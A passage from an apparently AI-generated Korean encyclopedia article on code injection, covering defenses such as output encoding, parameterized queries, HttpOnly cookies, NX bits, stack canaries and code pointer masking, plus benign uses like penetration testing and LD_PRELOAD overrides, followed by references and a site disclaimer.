이러한 입력 값 검증 방법들을 통해 코드 인젝션 공격의 위험을 줄이고, 시스템의 안전성을 확보할 수 있다.

4. 3. 출력 값 인코딩 (Encoding)

HTML 인젝션 (XSS) 공격을 예방하기 위해 출력 값을 인코딩해야 한다. 출력 인코딩은 사용자 입력을 출력할 때, HTML, SQL 등 해당 문맥에 맞게 인코딩하여 특수 문자가 코드로 해석되지 않도록 하는 방법이다. 예를 들어 PHP에서는 `htmlspecialchars()` 함수를 사용하여 HTML에서 텍스트를 안전하게 출력하기 위해 특수 문자를 이스케이프하고, `mysqli::real_escape_string()` 함수를 사용하여 SQL 요청에 포함될 데이터를 격리하면 SQL 인젝션을 방지할 수 있다.[35] 웹 사이트 방문자에 대한 XSS 공격을 방지하는 데에도 출력 인코딩을 사용할 수 있다.

4. 4. 라이브러리 및 프레임워크 활용

보안 기능이 내장된 라이브러리나 프레임워크를 활용하여 코드 인젝션 취약점을 예방할 수 있다. 몇 가지 예시는 다음과 같다.

  • API 활용: 적절한 API를 사용하면 모든 입력 문자에 대해 안전하게 처리할 수 있다. 매개변수화된 쿼리는 사용자 데이터를 해석할 문자열 밖으로 이동시켜 보안을 강화한다. Criteria API[8]와 같은 API는 명령 문자열을 직접 생성하고 해석하는 방식에서 벗어나 안전한 코딩을 돕는다.
  • 정적 타입 시스템 활용: 정적 타입 시스템을 통해 언어 분리를 강제하여 보안을 강화할 수 있다.[9]
  • 입력 검증 및 인코딩: 알려진 유효한 값만 허용하는 화이트리스트 방식으로 입력을 검증하거나, 위험한 문자를 이스케이프 또는 인코딩하여 악의적인 코드가 삽입되는 것을 방지한다. 예를 들어, PHP에서는 `htmlspecialchars()` 함수를 사용하여 HTML 특수 문자를 이스케이프하고, `mysqli::real_escape_string()` 함수를 사용하여 SQL 쿼리에 포함될 데이터를 격리하여 SQL 인젝션을 방지할 수 있다.
  • 출력 인코딩: 웹 사이트 방문자를 대상으로 하는 XSS 공격을 방지하기 위해 출력을 인코딩할 수 있다.
  • HTTP 쿠키 보안 강화: `HttpOnly` 플래그를 설정하면 쿠키와 클라이언트 측 스크립트의 상호 작용을 차단하여 특정 XSS 공격을 예방할 수 있다.[10]
  • 커널 수준 보안: 커널에서 모듈식 셸 분리를 통해 보안을 강화할 수 있다.
  • SQL 인젝션 방지 기법: SQL 인젝션과 관련하여 매개변수화된 쿼리, 저장 프로시저, 화이트리스트 입력 유효성 검사 등의 방법을 사용하여 공격 위험을 줄일 수 있다.[11] 객체 관계 매핑을 사용하면 사용자가 SQL 쿼리를 직접 조작하는 것을 방지할 수 있다.

4. 5. 정적 분석 도구 활용

소스 코드 분석 도구를 사용하면 잠재적인 코드 인젝션 취약점을 탐지할 수 있다. 인젝션 결함은 소프트웨어 테스팅보다 소스 코드 검토 단계에서 더 쉽게 발견되는 경향이 있다.[25] 취약점 검사 도구나 퍼징을 활용하여 취약점을 발견할 수도 있다.[26]

4. 6. 동적 분석 도구 및 퍼징

실행 중인 애플리케이션을 대상으로 취약점을 찾기 위해 퍼징 등의 동적 분석 기법을 활용한다.[26]

4. 7. 운영체제 및 하드웨어 수준의 보안

NX 비트는 모든 사용자 데이터를 실행 불가능으로 표시된 특수 메모리 섹션에 저장하여, 프로세서가 해당 메모리 부분에 코드가 없음을 인식하고 해당 메모리에서 발견된 모든 것을 실행하지 못하게 한다.[12] 카나리아는 스택에 임의로 배치된 값으로, 함수가 반환될 때 카나리아 값을 검사한다. 카나리아가 수정되었다면 프로그램 실행을 중지하고 종료하는데, 이는 실패한 스택 오버플로우 공격에서 발생한다.[12] 코드 포인터 마스킹(CPM)은 잠재적으로 변경된 코드 포인터를 레지스터에 로드한 후 포인터에 비트마스크를 적용하여 포인터가 참조할 수 있는 주소를 효과적으로 제한한다. 이는 C 프로그래밍 언어에서 사용된다.[12]

5. 코드 인젝션의 양면성

코드 인젝션은 악의적인 공격에 사용될 수 있지만, 선의의 목적으로 사용될 수도 있다. 예를 들어, 코드 인젝션을 통해 프로그램이나 시스템의 동작을 변경하여 악의적인 의도 없이 특정 방식으로 동작하도록 할 수 있다.[5][6] 몇몇 사람들은 코드 인젝션을 좋은 의도로 사용하여 프로그램의 동작을 변경해 장난을 치기도 한다.[5][6] 하지만 이 또한 법적인 문제를 야기할 수 있으며, 의도치 않은 코드 인젝션은 어떠한 경우에도 불법임을 인지해야 한다.

5. 1. 모의 침투 테스트

화이트 해커는 취약점을 찾아 수정하기 위해 코드 인젝션 취약점을 발견하는 모의 침투 테스트를 수행한다.[28][29]

5. 2. 프로그램 기능 확장

코드 인젝션은 프로그램이나 시스템의 동작을 변경하거나 조정하여, 악의적인 의도 없이 특정 방식으로 동작하도록 하는 데 사용될 수 있다.[5][6] 예를 들어 다음과 같은 작업이 가능하다.

  • 검색 결과 페이지에 원래 디자인에 없던 유용한 새 열을 추가한다.
  • 원래 디자인의 기본 기능에 노출되지 않은 필드를 사용하여 데이터를 필터링, 정렬 또는 그룹화하는 새로운 방법을 제공한다.
  • 오프라인 프로그램에서 온라인 리소스에 연결하는 기능과 같은 기능을 추가한다.
  • 함수를 재정의하여 호출이 다른 구현으로 리디렉션되도록 한다. 이는 동적 링커를 사용하여 리눅스에서 수행할 수 있다.[7]


Dropbox와 같은 프로그램처럼, 오프라인 프로그램에서 네트워크상의 리소스에 접근할 수 있는 특별한 기능을 추가하는 것도 가능하다. 또는 리눅스의 동적 링커를 사용하여, 특정 libc 함수와 동일한 이름의 함수를 정의하고, 라이브러리로서 함수를 링크하여, 기존 libc 함수를 덮어쓸 수도 있다.

어떤 사용자들은 프로그램에 제공한 입력이 시스템을 처음 개발한 사람들이 고려하지 않았기 때문에 의심 없이 코드 인젝션을 수행할 수 있다. 예를 들어, 사용자가 유효하다고 생각하는 입력에 개발자가 특별한 의미를 부여하기 위해 예약어로 지정한 앰퍼샌드(&), 따옴표와 같은 토큰 문자나 문자열이 포함될 수 있다. 또한 사용자는 한 애플리케이션에서는 제대로 처리되지만 수신 시스템에는 유해한 잘못된 형식의 파일을 입력으로 제출할 수도 있다.

코드 인젝션은 취약점을 찾아 수정하기 위해 인젝션 결함을 발견하는 모의 침투 테스트에도 사용된다.

5. 3. 주의사항

몇몇 사람들은 코드 인젝션을 좋은 의도로 사용하기도 한다. 예를 들어, 프로그램의 동작을 변경해서 악의적인 목적 없이 장난을 칠 수 있다.[5][6]

하지만 이 또한 법적으로 문제를 야기할 수 있으며, 의도치 않은 코드 인젝션은 어떠한 경우에도 불법임을 인지해야 한다.

참조

[1] 웹사이트 Top 10 Web Application Security Vulnerabilities http://www.upenn.edu[...] University of Pennsylvania 2016-12-10
[2] 웹사이트 OWASP Top 10 2013 A1: Injection Flaws https://www.owasp.or[...] OWASP 2013-12-19
[3] 간행물 Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations 2023-01
[4] 웹사이트 NVD - Statistics Search http://web.nvd.nist.[...] 2016-12-09
[5] 웹사이트 Towards More Effective Virus Detectors http://www.public.as[...] 2010-09-18
[6] 서적 Computer Network Security Springer
[7] 웹사이트 Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs https://rafalcieslak[...] 2016-12-10
[8] 웹사이트 The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries http://docs.oracle.c[...] Oracle 2013-12-19
[9] 웹사이트 A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes? http://blog.moertel.[...] 2018-10-21
[10] 웹사이트 HttpOnly https://www.owasp.or[...] 2016-12-10
[11] 웹사이트 SQL Injection Prevention Cheat Sheet https://www.owasp.or[...] 2016-12-10
[12] 간행물 CPM: Masking Code Pointers to Prevent Code Injection Attacks http://fort-knox.org[...] 2018-10-21
[13] 간행물 Long short-term memory on abstract syntax tree for SQL injection detection https://onlinelibrar[...] 2021-03-12
[14] 서적 Web Security Testing Cookbook https://archive.org/[...] O'Reilly Media 2009-05-15
[15] 웹사이트 Server-Side Template Injection https://portswigger.[...] 2022-05-22
[16] 간행물 Dynamic Evaluation Vulnerabilities in PHP applications https://seclists.org[...] 2018-10-21
[17] 웹사이트 Unserialize function warnings http://uk3.php.net/m[...] PHP.net 2014-06-06
[18] 웹사이트 Analysis of the Joomla PHP Object Injection Vulnerability http://karmainsecuri[...] 2014-06-06
[19] 웹사이트 Command Injection https://www.owasp.or[...] OWASP 2013-12-19
[20] 문서 Douglas W. Jones, CS:3620 Notes, Lecture 4—Shell Scripts. http://www.cs.uiowa.[...]
[21] 웹사이트 Command Injection - Black Hat Library http://blackhat.life[...] 2015-02-27
[22] 웹사이트 Networkキーワード - インジェクション攻撃:ITpro https://xtech.nikkei[...] ITpro 2017-08-01
[23] 문서 、2017年8月1日閲覧。
[24] 웹사이트 インジェクション攻撃とは - IT用語辞典 http://e-words.jp/w/[...] Incept 2017-08-01
[25] 웹사이트 Top 10 Web Application Security Vulnerabilities http://www.upenn.edu[...] University Of Pennsylvania 2016-12-10
[26] 웹사이트 OWASP Top 10 2013 A1: Injection Flaws https://www.owasp.or[...] OWASP 2013-12-19
[27] 웹사이트 NVD - Statistics Search http://web.nvd.nist.[...] 2016-12-09
[28] 웹사이트 Towards More Effective Virus Detectors http://www.public.as[...] 2010-09-18
[29] 문서 Symptoms-Based Detection of Bot Processes J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
[30] 웹사이트 The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries http://docs.oracle.c[...] Oracle 2013-12-19
[31] 웹사이트 HttpOnly https://www.owasp.or[...] 2016-12-10
[32] 웹사이트 SQL Injection Prevention Cheat Sheet https://www.owasp.or[...] 2016-12-10
[33] 간행물 CPM: Masking Code Pointers to Prevent Code Injection Attacks
[34] 웹인용 OWASP Top 10 2013 A1: Injection Flaws https://www.owasp.or[...] OWASP 2016-02-11
[35] 문서 http://blog.moertel.[...]
[36] 웹인용 Dynamic Evaluation Vulnerabilities in PHP applications http://seclists.org/[...] Insecure.org 2016-02-11
[37] 웹인용 Unserialize function warnings http://uk3.php.net/m[...] PHP.net



본 사이트는 AI가 위키백과와 뉴스 기사,정부 간행물,학술 논문등을 바탕으로 정보를 가공하여 제공하는 백과사전형 서비스입니다.
모든 문서는 AI에 의해 자동 생성되며, CC BY-SA 4.0 라이선스에 따라 이용할 수 있습니다.
하지만, 위키백과나 뉴스 기사 자체에 오류, 부정확한 정보, 또는 가짜 뉴스가 포함될 수 있으며, AI는 이러한 내용을 완벽하게 걸러내지 못할 수 있습니다.
따라서 제공되는 정보에 일부 오류나 편향이 있을 수 있으므로, 중요한 정보는 반드시 다른 출처를 통해 교차 검증하시기 바랍니다.

문의하기 : help@durumis.com